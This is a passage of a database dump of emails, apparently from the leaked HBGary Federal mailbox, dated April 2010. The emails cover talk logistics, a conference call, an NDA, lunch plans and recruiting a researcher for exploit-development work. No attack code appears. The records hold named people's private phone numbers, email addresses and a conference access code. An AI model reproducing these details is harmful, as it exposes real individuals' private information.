2 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlternate Target Job Title:\r\nAssistant Researcher/Journalist\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nLegal ServicesGovernment and MilitarySecurity and Surveillance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nLegalParalegal &amp; Legal Secretary\r\nSecurity/Protective ServicesSecurity Intelligence &amp; AnalysisEditorial/Writing\r\nJournalism\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUSUS-DC-Washington/MetroUS-MD-BaltimoreUS-VA-Fairfax/Manassas/RestonUS-DCUS-VA-Alexandria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 50% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',1847,'aaron_hbgary_com/1847.html'),(5683,'2010-04-26','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297004114.M623996P14101Q538.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n\r\nAs you walk in the front door you\'ll see the conference center doors.\r\nWe\'ll meet on the ground floor. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 9:31 AM\r\nTo: Estell, Timothy W.\r\nSubject: Aurora Talk\r\n\r\nHey Tim,\r\n\r\nCan you send me the location of the talk for tomorrow?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16547,'aaron_hbgary_com/16547.html'),(5684,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004114.M943994P14101Q539.eml','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','Re: Aurora Talk','Great.  Should I bring the presentation on a laptop and plug in or on a thumb drive, or email?\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n\r\n> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n> \r\n> As you walk in the front door you\'ll see the conference center doors.\r\n> We\'ll meet on the ground floor. \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 26, 2010 9:31 AM\r\n> To: Estell, Timothy W.\r\n> Subject: Aurora Talk\r\n> \r\n> Hey Tim,\r\n> \r\n> Can you send me the location of the talk for tomorrow?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8078,'aaron_hbgary_com/8078.html'),(5685,'2010-04-26','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004115.M161818P14101Q540.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Hoechst\" <Tim.Hoechst@agilex.com>,\"James E Gore\" <jgore@lanl.gov>,\"Susie G Trujillo\" <susiet@lanl.gov>,\"David A Taylor\" <dataylor@lanl.gov>','Confirmed: ConCall Agilex-LANL re: Oracle system','When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\nWhere: (888) 311-8177; code 7038893900\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n',9159,'aaron_hbgary_com/9159.html'),(5686,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004115.M406991P14101Q541.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Confirmed: ConCall Agilex-LANL re: Oracle system','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ira Entis \r\n> Date: April 26, 2010 11:34:24 AM EDT\r\n> To: Aaron Barr , Tim Hoechst , \"James E Gore\" , Susie G Trujillo , David A Taylor \r\n> Subject: Confirmed: ConCall Agilex-LANL re: Oracle system\r\n> \r\n> When: Monday, April 26, 2010 4:00 PM-4:30 PM. Eastern Standard Time\r\n> Where: (888) 311-8177; code 7038893900\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16521,'aaron_hbgary_com/16521.html'),(5687,'2010-04-26','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297004115.M726067P14101Q542.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','Either or both the laptop and thumb drive.\r\n\r\nScott? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 11:34 AM\r\nTo: Estell, Timothy W.\r\nSubject: Re: Aurora Talk\r\n\r\nGreat.  Should I bring the presentation on a laptop and plug in or on a\r\nthumb drive, or email?\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n\r\n> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n> \r\n> As you walk in the front door you\'ll see the conference center doors.\r\n> We\'ll meet on the ground floor. \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 26, 2010 9:31 AM\r\n> To: Estell, Timothy W.\r\n> Subject: Aurora Talk\r\n> \r\n> Hey Tim,\r\n> \r\n> Can you send me the location of the talk for tomorrow?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2081,'aaron_hbgary_com/2081.html'),(5688,'2010-04-26','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004115.M938868P14101Q543.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch tomorrow.','Aaron,\r\n\r\nI have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n\r\n	-Irby',14320,'aaron_hbgary_com/14320.html'),(5689,'2010-04-26','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004116.M147877P14101Q544.eml','aaron@hbgary.com','MILCOM 2010 Registration Now Open','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		  \r\n          \r\n            MILCOM 2010\r\n              November 1 - November 3, 2010\r\n              San Jose Convention Center, CA\r\n               MILCOM 2010 Registration and Hotel Reservations now open! \r\n              Register before August 31 and save! \r\n              &nbsp;\r\n              MILCOM is the premier international conference for military communications and attracts the best and brightest with high-level attendance from government, military, industry and academia. MILCOM 2010 gives industry the opportunity to promote communications technologies and services to commanders from all branches of the armed forces, Department of Defense, federal government, and the heads of multi-national forces from around the globe. \r\n              Confirmed as keynote speaker!\r\n                      Mr. Steve Wozniak, Apple Computer, Inc. Co-Founder and Fusion-io Chief Scientist \r\n              The conference will include more than 400 technical papers in addition to tutorials, workshops and panel discussions. Presented by recognized authorities and technical experts, the classified (U.S. Secret and below) and unclassified sessions will cover topics including:\r\n              \r\n                Waveforms and Signal Processing  \r\n                Networking Protocols and Performance  \r\n                Cyber Security and Network Management  \r\n                Systems Perspectives  \r\n                            \r\n              &nbsp;              Plus! 200 exhibits will be co-located in the San Jose Convention Center.&nbsp; See, touch and try out the latest communications technologies. \r\n              Register now! \r\n              We look forward to seeing you in San Jose.              &nbsp;\r\n\r\n                \r\n                  Conference Co-Sponsors\r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  Conference Co-Hosts\r\n                  \r\n                  \r\n                \r\n              \r\n              \r\n      \r\n      \r\n      \r\n        This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n        \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org/\r\n      \r\n        \r\n          \r\n      	    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10780,'aaron_hbgary_com/10780.html'),(5690,'2010-04-26','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004118.M588370P14101Q545.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: CTSC Non Disclosure Agreement','\r\nAaron,\r\n\r\nPlease find the CTSC NDA full executed.\r\n\r\n\r\n\r\nThanks\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nEdna Robinson/USA/CSC@CSC\r\n\r\nDate:\r\n04/26/2010 11:09 AM\r\n\r\nSubject:\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\nAaron\r\n[attachment &quot;CSC CTSC NDA_0_20100426_1107.pdf&quot;\r\ndeleted by Edna Robinson/USA/CSC] \r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote:\r\n\r\n\r\nGood Morning Aaron, \r\n\r\nLet me know if you can open this one. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/21/2010 09:28 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\nHi Edna, \r\n\r\nCould you resend this document. &nbsp;I am getting a corruption error.\r\n&nbsp;It might be on my end, I am on a Mac. \r\n\r\nThank you, \r\nAaron \r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Non-Disclosure Agreement.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13842,'aaron_hbgary_com/13842.html'),(5691,'2010-04-26','\"Dino Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297004118.M873012P14101Q546.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','I don\'t appear to have your phone number.  Can you send it to me?  I\'m at 347-455-0329.\r\n\r\n-Dino\r\n\r\nOn Apr 26, 2010, at 9:09 AM, Aaron Barr wrote:\r\n\r\n> Sure thing.  I can talk today.  Wednesday and Thursday are also pretty open.\r\n> \r\n> Aaron\r\n> \r\n> On Apr 25, 2010, at 2:33 AM, Dino A. Dai Zovi wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> Hah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?\r\n>> \r\n>> Cheers,\r\n>> \r\n>> -Dino\r\n>> \r\n>> On Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n>> \r\n>>> Hey Dino,\r\n>>> \r\n>>> Not trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\n>>> \r\n>>> Joke.\r\n>>> \r\n>>> I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\n>>> \r\n>>> Take care,\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n>>> \r\n>>>> Hello Aaron,\r\n>>>> \r\n>>>> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n>>>> \r\n>>>> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n>>>> \r\n>>>> Cheers,\r\n>>>> \r\n>>>> -Dino\r\n>>>> \r\n>>>> \r\n>>>> On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Ok.  Great.\r\n>>>>> \r\n>>>>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>>>>> \r\n>>>>> Do you hold a clearance at all?\r\n>>>>> \r\n>>>>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>>>>> \r\n>>>>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>>>>> \r\n>>>>> Probably others too but this is a good start off the top of my head.\r\n>>>>> \r\n>>>>> What types of things are you most interested in working on?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>>>>> \r\n>>>>>> Hi Aaron,\r\n>>>>>> \r\n>>>>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>>>>> \r\n>>>>>> Cheers,\r\n>>>>>> \r\n>>>>>> -Dino\r\n>>>>>> \r\n>>>>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> ---------- Forwarded message ----------\r\n>>>>>>> From: Aaron Barr \r\n>>>>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>>>>> Subject: Update\r\n>>>>>>> To: Dino Dai Zovi \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> LinkedIn\r\n>>>>>>> Aaron Barr has sent you a message.\r\n>>>>>>> Date: 4/13/2010\r\n>>>>>>> Subject: Update\r\n>>>>>>> Hi Dino,\r\n>>>>>>> \r\n>>>>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> View/reply to this message\r\n>>>>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>>>>> \r\n>>>>>>> © 2010, LinkedIn Corporation\r\n>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',5536,'aaron_hbgary_com/5536.html'),(5692,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004119.M315913P14101Q548.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n> \r\n> 	-Irby\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2813,'aaron_hbgary_com/2813.html'),(5693,'2010-04-26','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004119.M524936P14101Q549.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Aurora Talk','Aaron,\r\n\r\nThe easiest thing for me is if you\'re comfortable e-mailing the\r\nPowerpoint presentation to me today or early tomorrow.\r\n\r\nThat way I can get it all loaded up on my account and have everything\r\nset to go when you get here.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. \r\nSent: Monday, April 26, 2010 11:37 AM\r\nTo: Aaron Barr\r\nCc: Sheldon, Scott W.\r\nSubject: RE: Aurora Talk\r\n\r\nEither or both the laptop and thumb drive.\r\n\r\nScott? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 11:34 AM\r\nTo: Estell, Timothy W.\r\nSubject: Re: Aurora Talk\r\n\r\nGreat.  Should I bring the presentation on a laptop and plug in or on a\r\nthumb drive, or email?\r\n\r\nAaron\r\n\r\nOn Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n\r\n> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n> \r\n> As you walk in the front door you\'ll see the conference center doors.\r\n> We\'ll meet on the ground floor. \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 26, 2010 9:31 AM\r\n> To: Estell, Timothy W.\r\n> Subject: Aurora Talk\r\n> \r\n> Hey Tim,\r\n> \r\n> Can you send me the location of the talk for tomorrow?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12107,'aaron_hbgary_com/12107.html'),(5694,'2010-04-26','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004119.M731128P14101Q550.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch tomorrow.','My noon meeting tomorrow just got moved. You still interested in lunch?\r\n\r\n		-irby\r\n	\r\n\r\nOn Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n\r\n> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>> \r\n>> 	-Irby\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',67,'aaron_hbgary_com/67.html'),(5695,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004119.M952069P14101Q551.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','Irby,\r\n\r\nI am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\nAaron\r\n\r\nOn Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n\r\n> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n> \r\n> 		-irby\r\n> 	\r\n> \r\n> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n> \r\n>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>> \r\n>>> 	-Irby\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7398,'aaron_hbgary_com/7398.html'),(5696,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004119.M97651P14101Q547.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','ah sure.  719.510.8478\r\n\r\nAaron\r\n\r\n\r\nOn Apr 26, 2010, at 2:44 PM, Dino Dai Zovi wrote:\r\n\r\n> I don\'t appear to have your phone number.  Can you send it to me?  I\'m at 347-455-0329.\r\n> \r\n> -Dino\r\n> \r\n> On Apr 26, 2010, at 9:09 AM, Aaron Barr wrote:\r\n> \r\n>> Sure thing.  I can talk today.  Wednesday and Thursday are also pretty open.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 25, 2010, at 2:33 AM, Dino A. Dai Zovi wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Hah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?\r\n>>> \r\n>>> Cheers,\r\n>>> \r\n>>> -Dino\r\n>>> \r\n>>> On Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Dino,\r\n>>>> \r\n>>>> Not trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\n>>>> \r\n>>>> Joke.\r\n>>>> \r\n>>>> I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\n>>>> \r\n>>>> Take care,\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n>>>> \r\n>>>>> Hello Aaron,\r\n>>>>> \r\n>>>>> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n>>>>> \r\n>>>>> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n>>>>> \r\n>>>>> Cheers,\r\n>>>>> \r\n>>>>> -Dino\r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Ok.  Great.\r\n>>>>>> \r\n>>>>>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>>>>>> \r\n>>>>>> Do you hold a clearance at all?\r\n>>>>>> \r\n>>>>>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>>>>>> \r\n>>>>>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>>>>>> \r\n>>>>>> Probably others too but this is a good start off the top of my head.\r\n>>>>>> \r\n>>>>>> What types of things are you most interested in working on?\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>>>>>> \r\n>>>>>>> Hi Aaron,\r\n>>>>>>> \r\n>>>>>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>>>>>> \r\n>>>>>>> Cheers,\r\n>>>>>>> \r\n>>>>>>> -Dino\r\n>>>>>>> \r\n>>>>>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> ---------- Forwarded message ----------\r\n>>>>>>>> From: Aaron Barr \r\n>>>>>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>>>>>> Subject: Update\r\n>>>>>>>> To: Dino Dai Zovi \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> LinkedIn\r\n>>>>>>>> Aaron Barr has sent you a message.\r\n>>>>>>>> Date: 4/13/2010\r\n>>>>>>>> Subject: Update\r\n>>>>>>>> Hi Dino,\r\n>>>>>>>> \r\n>>>>>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> View/reply to this message\r\n>>>>>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>>>>>> \r\n>>>>>>>> © 2010, LinkedIn Corporation\r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal 